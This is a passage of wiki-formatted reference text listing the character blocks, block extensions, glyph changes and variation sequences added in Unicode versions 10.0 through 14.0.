|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
